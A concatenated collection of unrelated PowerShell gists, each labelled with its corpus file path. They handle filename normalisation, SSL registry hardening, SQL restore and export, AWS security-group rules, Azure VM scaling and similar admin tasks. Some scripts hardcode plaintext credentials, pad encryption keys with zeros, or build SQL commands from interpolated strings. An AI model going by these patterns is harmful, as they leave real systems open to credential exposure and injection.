<# .SYNOPSIS ファイル名、ディレクトリ名のUNICODE結合文字を、普通の1文字に変換する .DESCRIPTION ファイル名、ディレクトリ名のUNICODE結合文字になっている部分を、普通の1文字に変換する。 例えば、「か + ゛(濁点記号)」を、「が」に変換する。 Macは、ファイル名をUNICODE結合文字で保存するが、Windowsは、普通の1文字で保存するので、 MacからWindowsに、USBメモリーでファイルをコピーした際など、MacとWindowsのファイル交換時に 問題が生じる。 Macからファイルをコピーしてきた後で、このスクリプトを動かして、ファイル名をWindowsの 一般的な形式に変換しておくと、後々トラブルになりにくい。 .PARAMETER Path 変換対象のパス名。このPath以下の全ファイル、ディレクトリに対して処理を実行する。 .PARAMETER Rename 実際にファイル名をリネームするかどうか。 .PARAMETER Confirm RENコマンドを実行する前に確認するかどうか。 .LINK https://gist.github.com/pekeq/6182948 #> # このファイルはSJISで保存してください Param ( [String]$Path = ".", [Switch]$Rename, [Switch]$Confirm ) # 文字列をUNICODE正規化する # http://stackoverflow.com/questions/7836670/how-remove-accents-in-powershell/7840951#7840951 function NormalizeString { Param ( [String]$orig = [String]::Empty ) $norm = $orig.Normalize([System.text.NormalizationForm]::FormC) $sb = New-Object Text.StringBuilder $nsm = [Globalization.UnicodeCategory]::NonSpacingMark; $norm.ToCharArray() | ForEach-Object { if ([Globalization.CharUnicodeInfo]::GetUnicodeCategory($_) -ne $nsm) { [void]$sb.Append($_) } } $sb.ToString() } function NormalizeFilename { Param ( [Boolean]$Rename, [Boolean]$Confirm ) # http://stackoverflow.com/questions/9526455/how-can-i-control-the-order-of-processing-items-in-from-get-childitem-recurse/9526935#9526935 $input | Sort-Object -Property @{ Expression = {$_.FullName.Split('\').Count} } -Desc | ForEach-Object { $path = $_.FullName $orig = Split-Path $path -Leaf $norm = NormalizeString $orig if ($orig.Length -ne $norm.Length) { Write-Output $path if ($Rename -eq $True) { $dest = Join-Path (Split-Path $path -Parent) $norm if ($Confirm -eq $True) { Rename-Item $path $dest -Confirm } else { Rename-Item $path $dest } } } } } Get-ChildItem $Path -Recurse -Force -Directory | NormalizeFilename $Rename $Confirm Get-ChildItem $Path -Recurse -Force -File | NormalizeFilename $Rename $Confirm
PowerShellCorpus/GithubGist/rossnz_8519848_raw_d4d470ec26cf0a68e965a8e16c753e50943bb062_gistfile1.ps1
rossnz_8519848_raw_d4d470ec26cf0a68e965a8e16c753e50943bb062_gistfile1.ps1
PS> 'My phone number is 01-234-5678' -replace '[\d-]','#' My phone number is ###########
PowerShellCorpus/GithubGist/philoushka_2a1e4cc5fa727c1bbcb7_raw_1098e126bc3cba8d586c5e74fbbee7c1e584ed6e_PoodleBlock.ps1
philoushka_2a1e4cc5fa727c1bbcb7_raw_1098e126bc3cba8d586c5e74fbbee7c1e584ed6e_PoodleBlock.ps1
$protocols = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols" $sslVersionToDisable = 2,3 ForEach ($sslVersion in $sslVersionToDisable) { $sslSubkeyServer = "$protocols\SSL $sslVersion.0\Server" Write-Host "Creating $sslSubkeyServer" New-Item -Path $sslSubkeyServer -ItemType Key -Force New-ItemProperty $sslSubkeyServer -Name "Enabled" -Value 0 -PropertyType "DWord" $sslSubkeyClient = "$protocols\SSL $sslVersion.0\Client" New-Item -Path $sslSubkeyClient -ItemType Key -Force New-ItemProperty $sslSubkeyClient -Name "DisabledByDefault" -Value 1 -PropertyType "DWord" }
PowerShellCorpus/GithubGist/alienone_d65acdfea933f64de073_raw_f6e16f4b911dc005d0e7bc95f6e03678eacaf476_invoke_local_remote.ps1
alienone_d65acdfea933f64de073_raw_f6e16f4b911dc005d0e7bc95f6e03678eacaf476_invoke_local_remote.ps1
Function RunLocalRemote{ <# Description: Run local PowerShell script asynchronous on remote systems Input: CSV file Output: PowerShell job #> $hostname = $env:computername $username = "DOMAIN\USERNAME" $password = "PASSWORD" $securepassword = ConvertTo-SecureString -AsPlainText $password -Force $server_array = $server_array = Import-Csv $ComputerNameCSV $credential = new-object -typename System.Management.Automation.PSCredential -ArgumentList $username, $securepassword foreach ($server in $server_array.ComputerName) { $script = "C:\Temp\arcsight-java-jmx-remote-management-change.ps1" $ps_session = New-PSSession -ComputerName $server -Credential $credential Enter-PSSession $ps_session Invoke-Command -Session $ps_session -FilePath $script -AsJob Exit-PSSession } } Function MainFunction{ RunLocalRemote } MainFunction
PowerShellCorpus/GithubGist/MichaelPaulukonis_a75cf5d5b16627293014_raw_f9a58500d21cc67240efad057a9b7aba3b01873e_csv.export.ps1
MichaelPaulukonis_a75cf5d5b16627293014_raw_f9a58500d21cc67240efad057a9b7aba3b01873e_csv.export.ps1
$ErrorActionPreference="Stop" if ($args.Count -le 2) { throw "Usage: <server name> <db name> <script file>" } $servername = $args[0] $database = $args[1] $sourcefile = $args[2] [system.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SMO") | out-null $server = New-Object ("Microsoft.SqlServer.Management.SMO.Server") ($servername) $1 = Get-Item($sourcefile) $ds = $server.Databases[$database].ExecuteWithResults("$(Echo $1.OpenText().ReadToEnd())") $cnt = 0 Foreach ($dt in $ds.Tables) { $cnt ++ Write-Host "Writing table: "$cnt $file = ".\" + $cnt.ToString() + ".csv" $dt | export-csv $file -notypeinformation Write-Host "Completed!" }
PowerShellCorpus/GithubGist/abhishekkhaware_7152497_raw_245bf867b13ed127ebaa6ae850c1067828984709_gistfile1.ps1
abhishekkhaware_7152497_raw_245bf867b13ed127ebaa6ae850c1067828984709_gistfile1.ps1
# Open Powershell profile ## PS c:\> notepad $profile # Add Path($PATH= C:\Program Files\Sublime Text 2\) to the System Envairoment Variable for easy access of Sublime_Text.exe # Create a function for Sublime Text 2 or 3 in $profile function sublime($arg1){ sublime_text.exe $arg1 } # Now Create An Alias: Set-Alias subl sublime # Save The $profile file. # Restart PowerShell And Try it: ## PS c:\> subl # OR, ## PS c:\> subl $profile
PowerShellCorpus/GithubGist/vcaraulean_532094_raw_d44bd51335b9170c1d8923e1f47f8461e020c157_profile.ps1
vcaraulean_532094_raw_d44bd51335b9170c1d8923e1f47f8461e020c157_profile.ps1
Push-Location (Split-Path -Path $MyInvocation.MyCommand.Definition -Parent) $profilePath = split-path $profile # Load posh-git and posh-hg modules from default profile directory Import-Module $profilePath\posh-git\posh-git Import-Module $profilePath\posh-hg\posh-hg function prompt { Write-Host($pwd) -nonewline # Git Prompt $Global:GitStatus = Get-GitStatus Write-GitStatus $GitStatus # Mercurial Prompt $Global:HgStatus = Get-HgStatus Write-HgStatus $HgStatus return "> " } if(-not (Test-Path Function:\DefaultTabExpansion)) { Rename-Item Function:\TabExpansion DefaultTabExpansion } # Set up tab expansion and include hg expansion function TabExpansion($line, $lastWord) { $lastBlock = [regex]::Split($line, '[|;]')[-1] switch -regex ($lastBlock) { # mercurial and tortoisehg tab expansion '(hg|hgtk) (.*)' { HgTabExpansion($lastBlock) } # Execute git tab completion for all git-related commands 'git (.*)' { GitTabExpansion $lastBlock } # Fall back on existing tab expansion default { DefaultTabExpansion $line $lastWord } } } Enable-GitColors Pop-Location
PowerShellCorpus/GithubGist/oxo42_7672630_raw_5a515d971ac1aee835b56e717001dc098da4bbca_gistfile1.ps1
oxo42_7672630_raw_5a515d971ac1aee835b56e717001dc098da4bbca_gistfile1.ps1
$resolutions = @{"640x960" = "640x960"; "640x1136" = "640x1136"; "960x544" = "960x544"; "1024x1024" = "1024x1024"; "2048x2048" = "2048x2048"; "1080x1920" = "1080x1920"; "1920x1080" = "1080p" } $user = $args[0] $password = $args[1] $url = $args[2] $ismatch = $url -match 'i=(.+)$' if(!$ismatch) { exit } $image = $Matches[1] Function GetUrl([string]$image, [string]$res) { # http://digitalblasphemy.com/content/jpgs/1440x1280/traveller2k1331440x1280.jpg "http://digitalblasphemy.com/content/jpgs/$res/$image$res.jpg"; } function DownloadFile($url, $targetFile) { "Downloading $url" $uri = New-Object "System.Uri" "$url" $request = [System.Net.HttpWebRequest]::Create($uri) $request.Credentials = New-Object System.Net.NetworkCredential($user, $password) $request.set_Timeout(15000) #15 second timeout $response = $request.GetResponse() $totalLength = [System.Math]::Floor($response.get_ContentLength()/1024) $responseStream = $response.GetResponseStream() $targetStream = New-Object -TypeName System.IO.FileStream -ArgumentList "$($(pwd).Path)/$targetFile", Create $buffer = New-Object byte[] 10KB $count = $responseStream.Read($buffer,0,$buffer.length) $downloadedBytes = $count while ($count -gt 0) { $downloadedKb = [System.Math]::Floor($downloadedBytes/1024) Write-Host -NoNewline "`rDownloaded $($downloadedKb)K of $($totalLength)K" $targetStream.Write($buffer, 0, $count) $count = $responseStream.Read($buffer,0,$buffer.length) $downloadedBytes = $downloadedBytes + $count } "`nFinished Download" $targetStream.Flush() $targetStream.Close() $targetStream.Dispose() $responseStream.Dispose() } foreach($dir in $($resolutions.Keys)) { $res = $resolutions[$dir] $downloadUrl = GetUrl $image $res echo $downloadUrl if(!(Test-Path -Path $dir )){ New-Item -ItemType directory -Path $dir } DownloadFile $downloadUrl "$dir/$image$res.jpg" }
PowerShellCorpus/GithubGist/9to5IT_9621003_raw_ed51614d6fd021cb8b709b8ec17de1c638b0ad40_Encryption_Functions.ps1
9to5IT_9621003_raw_ed51614d6fd021cb8b709b8ec17de1c638b0ad40_Encryption_Functions.ps1
Function Set-EncryptKey{ <# .SYNOPSIS Used to create an encryption \ decryption key .DESCRIPTION This function is used to create an encrytpion \ decryption key that will be used in conjunction with PowerShell cmdlets and functions to encrypt and decrypt data. The key needs to be between 16 and 32 characters in length. .PARAMETER Key Mandatory. The key as a string that the user wants to use to encrypt \ decrypt data .INPUTS None - other than parameter above .OUTPUTS Valid Byte Key to be used to encrypt \ decrypt data .NOTES Version: 1.0 Author: Luca Sturlese Creation Date: 14/02/13 Purpose/Change: Initial function development Version: 1.1 Author: Luca Sturlese Creation Date: 13/03/13 Purpose/Change: Added sleep of few seconds between major commands to improve script success .EXAMPLE $EncryptKey = Set-EncryptKey -Key "PNBX2JIRV7VARUFVZ48O7GTW3HVZ48J5" #> [CmdletBinding()] Param ([Parameter(Mandatory=$true)][string]$Key) Begin{} Process{ $iLength = $Key.Length $iPad = 32 - $iLength If(($iLength -lt 16) -Or ($iLength -gt 32)){ Throw "Key must be between 16 and 32 characters in length" } Start-Sleep -Seconds 1 $oEncoding = New-Object System.Text.ASCIIEncoding $oBytes = $oEncoding.GetBytes($Key + "0" * $iPad) Return $oBytes } End{} } Function Encrypt-Data{ <# .SYNOPSIS Used to encrypt data using a specified key .DESCRIPTION This function is used to encryt data using the specified key. The data can then be stored or used accordingly in the calling script. Note: This script requires that the key used be converted to a 16, 24 or 32 byte key. To do this, use the Set-EncryptKey function above. .PARAMETER String Non-Mandatory. A plain-text string that you want to encrypt. Must pass either String or SecureString. .PARAMETER SecureString Non-Mandatory. A secure-string that you want to encrypt. Must pass either String or SecureString. Example: Password from Get-Credential cmdlet .PARAMETER EncryptKey Mandatory. A 16, 24 or 32 byte key used to encrypt the data .INPUTS None - other than parameters above .OUTPUTS Encrypted data using specified key .NOTES Version: 1.0 Author: Luca Sturlese Creation Date: 14/02/13 Purpose/Change: Initial function development Version: 1.1 Author: Luca Sturlese Creation Date: 15/02/13 Purpose/Change: Added functionality to encrypt from plain-text of secure-string Version: 1.2 Author: Luca Sturlese Creation Date: 13/03/13 Purpose/Change: Added sleep of few seconds between major commands to improve script success .EXAMPLE $EncryptedData = Encrypt-Data -String "This is the string I want to encrypt" -EncryptKey $EncryptKey .EXAMPLE $EncryptedData = Encrypt-Data -SecureString $Credentials.Password -EncryptKey $EncryptKey #> [CmdletBinding()] Param ([Parameter(Mandatory=$false)][string]$String, [Parameter(Mandatory=$false)]$SecureString, [Parameter(Mandatory=$true)]$EncryptKey) Begin{} Process{ #Check if plain-text string provided or secure-string provided for encryption If(!($String) -And !($SecureString)){ Throw "No data to encrypt provided. Either plain-text or secure-text string must be provided." } #Check that both not provided If(($String) -And ($SecureString)){ Throw "Only provide either plain-text or secure-text string, not both." } #If plain-text, then convert to secure-string If($String){ $oSecureString = New-Object System.Security.SecureString $Chars = $String.toCharArray() # Convert plain text string to char ForEach($Char in $Chars){ $oSecureString.AppendChar($Char) } }Else{ $oSecureString = New-Object System.Security.SecureString $oSecureString = $SecureString } Start-Sleep -Seconds 2 #Encrypt data using EncryptKey and char string $oEncryptedData = ConvertFrom-SecureString -SecureString $oSecureString -Key $EncryptKey Start-Sleep -Seconds 2 Return $oEncryptedData } End{} } Function Decrypt-Data{ <# .SYNOPSIS Used to decrypt data using a specified key .DESCRIPTION This function is used to decryt data using the specified key. The data can then be used accordingly in the calling script. Note: This script requires that the key used be converted to a 16, 24 or 32 byte key. To do this, use the Set-EncryptKey function above. .PARAMETER Data Mandatory. The data you want to decrypt .PARAMETER DecryptKey Mandatory. A 16, 24 or 32 byte key used to decrypt the data .PARAMETER ConvertToPlainText Non-Mandatory. If specified will convert decrypted data to plain-text. If not specified will leave decrypted data as a secure-string (e.g. good for passwords) .INPUTS None - other than parameters above .OUTPUTS Decrypted data using specified key .NOTES Version: 1.0 Author: Luca Sturlese Creation Date: 14/02/13 Purpose/Change: Initial function development Version: 1.1 Author: Luca Sturlese Creation Date: 18/02/13 Purpose/Change: Added functionality to decrypt data to secure-string or to plain-text .EXAMPLE $sPlainText = Decrypt-Data -EncryptedData $Data -DecryptKey $DecryptKey -ConvertToPlainText $True .EXAMPLE $sPlainText = Decrypt-Data -EncryptedData $Data -DecryptKey $DecryptKey #> [CmdletBinding()] Param ([Parameter(Mandatory=$true)]$Data, [Parameter(Mandatory=$true)]$DecryptKey, [Parameter(Mandatory=$false)]$ConvertToPlainText) Begin{} Process{ #If ConvertToPlainText = False or not specified then convert to Secure-String, else convert to plain-text If(!($ConvertToPlainText) -or ($ConvertToPlainText -eq $False)){ $Data | ConvertTo-SecureString -Key $DecryptKey }Else{ $Data | ConvertTo-SecureString -Key $DecryptKey | ForEach-Object { [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($_)) } } } End{} }
PowerShellCorpus/GithubGist/VoiceOfWisdom_96e7f7cc91ec139c0e01_raw_d2bfb82e6785fba2227d3603cd13a375c98be050_gistfile1.ps1
VoiceOfWisdom_96e7f7cc91ec139c0e01_raw_d2bfb82e6785fba2227d3603cd13a375c98be050_gistfile1.ps1
"foo" | Set-Content helloworld.txt hg add helloworld.txt hg commit -m "added helloworld" (Measure-Command { hg log -G -l 5 }).TotalSeconds
PowerShellCorpus/GithubGist/rossnz_8519809_raw_a500d64bc24f3a0edf81f511f262138cfdc42176_gistfile1.ps1
rossnz_8519809_raw_a500d64bc24f3a0edf81f511f262138cfdc42176_gistfile1.ps1
PS> '1,2,3,4,5,6,,,' -replace ',' 123456
PowerShellCorpus/GithubGist/hapylestat_6230152_raw_8b182357937692570a5ad0e9a3ffd581d9abf3cb_template_ps-class.ps1
hapylestat_6230152_raw_8b182357937692570a5ad0e9a3ffd581d9abf3cb_template_ps-class.ps1
#=================================as custom object $<classname>_code={ function init(){ } Export-ModuleMember -function init } $<classname>=new-module -ScriptBlock $<classname>_connect -AsCustomObject #===============================insert as path of c# code #Todo: add snipet here
PowerShellCorpus/GithubGist/MattDavies_f70f6cbf739d00557e4f_raw_e0ff36cf23aa412edf830fe95b8b907ed14bffaa_gistfile1.ps1
MattDavies_f70f6cbf739d00557e4f_raw_e0ff36cf23aa412edf830fe95b8b907ed14bffaa_gistfile1.ps1
workflow ScaleVMs { param( [parameter(Mandatory=$true)] [string]$VMNames, [parameter(Mandatory=$true)] [string]$VMSize ) $subscriptionName = Get-AutomationVariable -Name "SubscriptionName" $subscriptionID = Get-AutomationVariable -Name "SubscriptionID" $certificateName = Get-AutomationVariable -Name "CertificateName" $certificate = Get-AutomationCertificate -Name $certificateName Set-AzureSubscription -SubscriptionName $subscriptionName -SubscriptionId $subscriptionID -Certificate $certificate Select-AzureSubscription $subscriptionName Write-Output $("Scaling " + $VMNames + " to " + $VMSize) $VMNames -split "," | ForEach { $VMName = $_.trim() Write-Output $("Beginning scale operation " + $VMName + " -> " + $VMSize) Get-AzureVM –ServiceName $VMName –Name $VMName | Set-AzureVMSize $VMSize | Update-AzureVM } Write-Output "Scaling operations completed" }
PowerShellCorpus/GithubGist/bak-t_8163463_raw_ac02bf464cf0776141754ee5647527d066c41a04_Restore-DB.ps1
bak-t_8163463_raw_ac02bf464cf0776141754ee5647527d066c41a04_Restore-DB.ps1
Param ( [string] [parameter(Mandatory=$true, HelpMessage="Full path and file name of backup")] [alias("bf")] $BackupFile, [string] [parameter(Mandatory=$true, HelpMessage="Name of the database to restore")] [alias("d")] $Database, [string[]] [parameter(Mandatory=$false, HelpMessage="SQL Scripts to execute after database restoring")] [alias("s")] $Scripts = @(), [string] [parameter(Mandatory=$false, HelpMessage="Directory where database files must be placed after restore")] [alias("dd")] $DatabaseDirectory = "", [switch] [parameter(Mandatory=$false, HelpMessage="Restart IIS after database restoring")] [alias("ri")] $RestartIIS, [int] [parameter(Mandatory=$false, HelpMessage="SQL command execution timeout")] [alias("st")] $SqlCommandTimeout = 0 ) $ErrorActionPreference = "Stop" function Main(){ # Check backup file presence if (!(Test-Path $BackupFile)){ Write-Error "Backup file ""${BackupFile}"" doesn't exist!" } Write-Host "Restoring database ""${Database}"" from backup file: ""${BackupFile}""" if ($RestartIIS -eq $true) { Write-Host "IIS will be restarted!" & iisreset.exe /stop } # $scriptPath = Split-Path -parent $MyInvocation.MyCommand.Definition #clear_sql_log $Database $backupId = get_backup_id $BackupFile Write-Verbose "Retrieved last backup position: ${backupId}" # generating MOVE statement if path for database specified if (-not [string]::IsNullOrEmpty($DatabaseDirectory)) { $moveStatement = ",`n" + (( get_database_files $BackupFile | %{ $_.fileName = change_path $_.fileName $DatabaseDirectory $_ } | %{ "MOVE '$($_.name)' TO '$($_.fileName)'" }) -join ",`n") } else { $moveStatement = "" } #& sqlcmd -b -d master -Q "" > Restore_DB_${Database}.sql.log # " if (database_exists $Database) { Write-Host "Disconnecting all active users" execute_sql "master" "ALTER DATABASE ${Database} SET SINGLE_USER WITH ROLLBACK IMMEDIATE" execute_sql "master" "ALTER DATABASE ${Database} SET MULTI_USER" } Write-Host "Restoring database" execute_sql "master" "RESTORE DATABASE ${Database} FROM DISK = '${BackupFile}' WITH FILE = ${backupId}, REPLACE${moveStatement}" foreach ($scriptFile in $Scripts) { Write-Host "Executing post restore SQL script ($scriptFile)" & sqlcmd -b -d ${Database} -i `"${scriptFile}`" -o `"${scriptFile}.log`" # " if ($LASTEXITCODE -ne 0) { Write-Error "Error executing post restore script. SQLCMD returned code ${LASTEXITCODE}" exit } } if ($RestartIIS -eq $true) { & iisreset.exe /start } } function change_path([string]$fileWithPath,[string]$destinationPath) { [system.io.path]::Combine($destinationPath, [system.io.path]::GetFileName($fileWithPath)) } function get_backup_id($backupFileName){ $result = 1 Write-Verbose "Retrieving id of the last backup in file $backupFileName" ForEachRecord "master" "RESTORE HEADERONLY FROM DISK='${backupFileName}'" { param ([hashtable]$rec) #Write-Verbose $rec.GetType() $v_result = GetClosure result $v_result.Value = $rec["Position"] #Write-Verbose $v_result.Value } Write-Verbose "Returning backup position ${result}" return $result } function get_database_files($backupFileName){ $result = @() Write-Verbose "Retrieving list of database files from $backupFileName" ForEachRecord "master" "RESTORE FILELISTONLY FROM DISK='${backupFileName}'" { param ([hashtable]$rec) $v_result = GetClosure result $v_result.Value = $v_result.Value + @{name = $rdr["LogicalName"]; fileName = $rdr["PhysicalName"]} #Write-Verbose $v_result.Value } return $result } function database_exists($dbName){ # todo: extract method execute_scalar_sql $result = $false Write-Verbose "Checking existence of $dbName database" ForEachRecord "master" "SELECT TOP(1) name FROM sys.databases WHERE name = '${dbName}'" { param ([hashtable]$rec) $v_result = GetClosure result $v_result.Value = $true } return $result } function execute_sql([string]$dbName,[string]$sqlScript) { try { $connection = new-object System.Data.SqlClient.SqlConnection "Data Source=.;Initial Catalog=$dbName;Integrated Security=true" $command = $connection.CreateCommand() $command.CommandText = $sqlScript $command.CommandTimeout = $SqlCommandTimeout [void]$connection.Open() Write-Verbose "Executing SQL:`n${sqlScript}`n" [void]$command.ExecuteNonQuery() } finally { DisposeObject $command DisposeObject $connection } } # there is an issue with SqlDataReader which prevents it from passing properly script # it's caused by PowerShell IEnumerable unwrapping function ForEachRecord( [string]$dbName, [string]$query, [ScriptBlock] $scriptBlock = $(throw "The parameter -scriptBlock is required.")) { try { $connection = new-object System.Data.SqlClient.SqlConnection "Data Source=.;Initial Catalog=${dbName};Integrated Security=true" $command = $connection.CreateCommand() $command.CommandText = $query $connection.Open() $rdr = $command.ExecuteReader() try { $dbRow = @{} while ($rdr.Read() -eq $true){ # workaround for PowerShell enumerables issue for ($i=0; $i -lt $rdr.FieldCount; $i++){ $dbRow[$rdr.GetName($i)] = $rdr.GetValue($i) } #$dbRow | Format-Table | Out-Host .$scriptBlock $dbRow } } finally { #Write-Verbose "Disposing data reader..." DisposeObject $rdr } } finally { #Write-Verbose "Disposing connection..." DisposeObject $connection } } function DisposeObject( [System.IDisposable]$obj = $(throw "The parameter -obj is required.")) { Write-Verbose "Got object for disposing $obj" if ($obj -eq $null) { return } $obj.Dispose() #Write-Verbose "Disposing ["$obj.GetType()"]... " -NoNewline #if ($obj.psbase -eq $null) { #$obj.Dispose() #Write-Verbose "Disposed directly" #} else { #$obj.psbase.Dispose() #Write-Verbose "Disposed via psBase" #} } function GetClosure([string]$varName) { Get-Variable -Name $varName -Scope 2 } Main
PowerShellCorpus/GithubGist/jcpowermac_7916164_raw_edc26f6a35c0b62acda8d77d1cd6f55f5823a39c_copy_gz_from_esxi.ps1
jcpowermac_7916164_raw_edc26f6a35c0b62acda8d77d1cd6f55f5823a39c_copy_gz_from_esxi.ps1
Add-PSSnapin VMware.VimAutomation.Core $basedir = "C:\Desktop\ESXTOP-04032012-130000\"; if( !(Test-Path $basedir) ){ New-Item -Type Directory $basedir } $datastores = Get-Datastore -VMHost (get-vmhost) | Where {$_.Name.Contains("-local") } foreach( $ds in $datastores ) { $newdir = $basedir + $ds.Name; if( !(Test-Path $newdir) ){ New-Item -Type Directory $newdir } $item = $ds.DatastoreBrowserPath + "\*.gz"; Copy-DatastoreItem -Item $item -Destination $newdir }
PowerShellCorpus/GithubGist/johnrey1_8344393_raw_e62f4367006979111bd9f698501c6ec5dd894549_gistfile1.ps1
johnrey1_8344393_raw_e62f4367006979111bd9f698501c6ec5dd894549_gistfile1.ps1
#begin work C:\users\[YOURNAME]\desktop\awssecgroup.ps1 -rdp -mssql -setAws -accessKey "" -secretKey "" -region "us-west-1" #end work C:\users\[YOURNAME]\desktop\awssecgroup.ps1 -revoke -rdp -mssql -setAws -accessKey "" -secretKey "" -region "us-west-1" param( [switch]$rdp, [switch]$mssql, [switch]$mysql, [switch]$ssh, [switch]$all, [switch]$revoke, [switch]$setAws, [string]$accessKey, [string]$secretKey, [string]$region) # Script to add / remove yourself from your AWS security groups on the go Import-module "C:\Program Files (x86)\AWS Tools\PowerShell\AWSPowerShell\AWSPowerShell.psd1" if($setAws){ Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey Set-DefaultAWSRegion -Region $region } # first get your external ip address $myipRequest = Invoke-WebRequest "http://www.whatismyip.com" $myip = $myipRequest.AllElements | WHERE Class -ieq "the-ip" | SELECT -First 1 -ExpandProperty innerText $myipCidr = "$myip/32" #TODO output a cleanup script with the IP as a parameter #allow RDP and SSH $rdpPermission = New-Object Amazon.EC2.Model.IpPermission -Property @{IpProtocol="tcp";FromPort=3389;ToPort=3389;IpRanges=$myipCidr} $mssqlPermission = New-Object Amazon.EC2.Model.IpPermission -Property @{IpProtocol="tcp";FromPort=1433;ToPort=1433;IpRanges=$myipCidr} $mysqlPermission = New-Object Amazon.EC2.Model.IpPermission -Property @{IpProtocol="tcp";FromPort=3306;ToPort=3306;IpRanges=$myipCidr} $sshPermission = New-Object Amazon.EC2.Model.IpPermission -Property @{IpProtocol="tcp";FromPort=22;ToPort=22;IpRanges=$myipCidr} $permissionSet = New-Object System.Collections.ArrayList if($all){ $rdp = $mssql = $mysql = $ssh = $true } if($rdp){ [void]$permissionSet.Add($rdpPermission) } if($mssql){ [void]$permissionSet.Add($mssqlPermission) } if($mysql){ [void]$permissionSet.Add($mysqlPermission) } if($ssh){ [void]$permissionSet.Add($sshPermission) } # give me all the access! if($permissionSet.Count -gt 0){ $secGroupList = Get-EC2SecurityGroup | SELECT GroupId, GroupName foreach($secGroup in $secGroupList){ try{ # update all the security groups with the permissions for your ip if(!$revoke){ "Granting to $($secGroup.GroupName)" Grant-EC2SecurityGroupIngress -GroupId $secGroup.GroupId -IpPermissions $permissionSet }else{ "Revoking to $($secGroup.GroupName)" Revoke-EC2SecurityGroupIngress -GroupId $secGroup.GroupId -IpPermissions $permissionSet } }catch{ if($revoke){ Write-Warning "Could not revoke permission to $($secGroup.GroupName)" }else{ Write-Warning "Could not grant permission to $($secGroup.GroupName)" } } } }
PowerShellCorpus/GithubGist/gioxx_0e97627257666bd40d81_raw_b8245f9088b4f9b834737526296ec75456b8f1ec_SalaRiunioni1-RipristinaDelegati.ps1
gioxx_0e97627257666bd40d81_raw_b8245f9088b4f9b834737526296ec75456b8f1ec_SalaRiunioni1-RipristinaDelegati.ps1
############################################################################################################################ # OFFICE 365: Ripristino delegati Sala Riunioni 1 #---------------------------------------------------------------------------------------------------------------- # Autore: GSolone # Versione: 0.1 # Utilizzo: .\SalaRiunioni1-RipristinaDelegati.ps1 # Info: http://gioxx.org/tag/o365-powershell # Ultima modifica: 15-01-2015 # Modifiche: ############################################################################################################################ #Tolgo temporaneamente il truncate dei risultati di Powershell $FormatEnumerationLimit=-1 Write-Host "Reimposto i delegati sulla Sala Riunioni 1, attendi." -foregroundcolor Yellow ############################################################################################################################ # DI SEGUITO VIENE IMPORTATO TUTTO IL BLOCCO DELEGATI DA APPLICARE ALLA SALA, SE NECESSARIO AGGIUNGERE DELEGATI IN CODA, SALVARE LO SCRIPT E RILANCIARLO IN POWERSHELL Set-CalendarProcessing -Identity [email protected] -ResourceDelegates mario.rossi, claudio.bianchi, arturo.grigi ############################################################################################################################ "" Write-Host "Done." -foregroundcolor Green "" Write-Host "Verifico le autorizzazioni sulla Sala Riunioni 1:" -foregroundcolor Yellow Get-CalendarProcessing [email protected] | Ft ResourceDelegates -AutoSize | Out-String -Width 500 #Reimposto lo standard del truncate di Powershell $FormatEnumerationLimit=4
PowerShellCorpus/GithubGist/vors_4d96fb04fbe124c464eb_raw_d3e5223ffb0e45fbf540f46ce8d91e33136989d4_DelegatesGenerator.ps1
vors_4d96fb04fbe124c464eb_raw_d3e5223ffb0e45fbf540f46ce8d91e33136989d4_DelegatesGenerator.ps1
function Get-Action([int]$i) { 'public delegate void Action<' + [string]::Join(", ", (1..$i | %{"in T$_"})) + '>(' + [string]::Join(", ", (1..$i | %{"T$_ arg$_"})) + ');' } function Get-Func([int]$i) { 'public delegate TResult Func<' + [string]::Join(", ", (1..$i | %{"in T$_"})) + ', out TResult>(' + [string]::Join(", ", (1..$i | %{"T$_ arg$_"})) + ');' }
PowerShellCorpus/GithubGist/HowardvanRooijen_5008168_raw_ead9afad46696573d40ac3df106b7a38b5093e92_gistfile1.ps1
HowardvanRooijen_5008168_raw_ead9afad46696573d40ac3df106b7a38b5093e92_gistfile1.ps1
$parameters = @{ ConnectionDetails = @{ ServerUrl = "teamcity.codebetter.com" Credential = Get-Credential } BuildConfigId = "bt437" }
PowerShellCorpus/GithubGist/GrzegorzKozub_5361237_raw_7dc47945da65c096e4d69b45192839dcc07a1a27_Pull-VimBundleUpdates.ps1
GrzegorzKozub_5361237_raw_7dc47945da65c096e4d69b45192839dcc07a1a27_Pull-VimBundleUpdates.ps1
workflow Pull-VimBundleUpdatesInParallel { $bundles = Get-ChildItem -Directory -Exclude "typescript-vim","vim-colors-solarized","vim-powerline" foreach -parallel ($bundle in $bundles) { InlineScript { $bundle = $Using:bundle Set-Location -Path $bundle.FullName $result = git pull 2>&1 $n = [Environment]::NewLine Write-Output -InputObject $("Updating $bundle..." + $n + [String]::Join($n, $result) + $n) } } } Pull-VimBundleUpdatesInParallel
PowerShellCorpus/GithubGist/hansschmucker_f4031a37241d3d95e433_raw_eeb037c53747e0d7555123833399fa670c841644_c%23.ps1
hansschmucker_f4031a37241d3d95e433_raw_eeb037c53747e0d7555123833399fa670c841644_c%23.ps1
$opt = New-Object System.CodeDom.Compiler.CompilerParameters; $opt.GenerateInMemory = $true; $cr = [System.CodeDom.Compiler.CodeDomProvider]::CreateProvider("CSharp").CompileAssemblyFromSource($opt, "public class App { public static void Main() { "+ $input+" } }"); if($cr.CompiledAssembly){ $obj = $cr.CompiledAssembly.CreateInstance("App"); $obj.GetType().GetMethod("Main").Invoke($obj, $null); }else{ $cr.errors; }
PowerShellCorpus/GithubGist/hsmalley_3835269_raw_34d6f7b7c213dc568ae654d46aaffbcc3130ecdb_Deploy-Files.ps1
hsmalley_3835269_raw_34d6f7b7c213dc568ae654d46aaffbcc3130ecdb_Deploy-Files.ps1
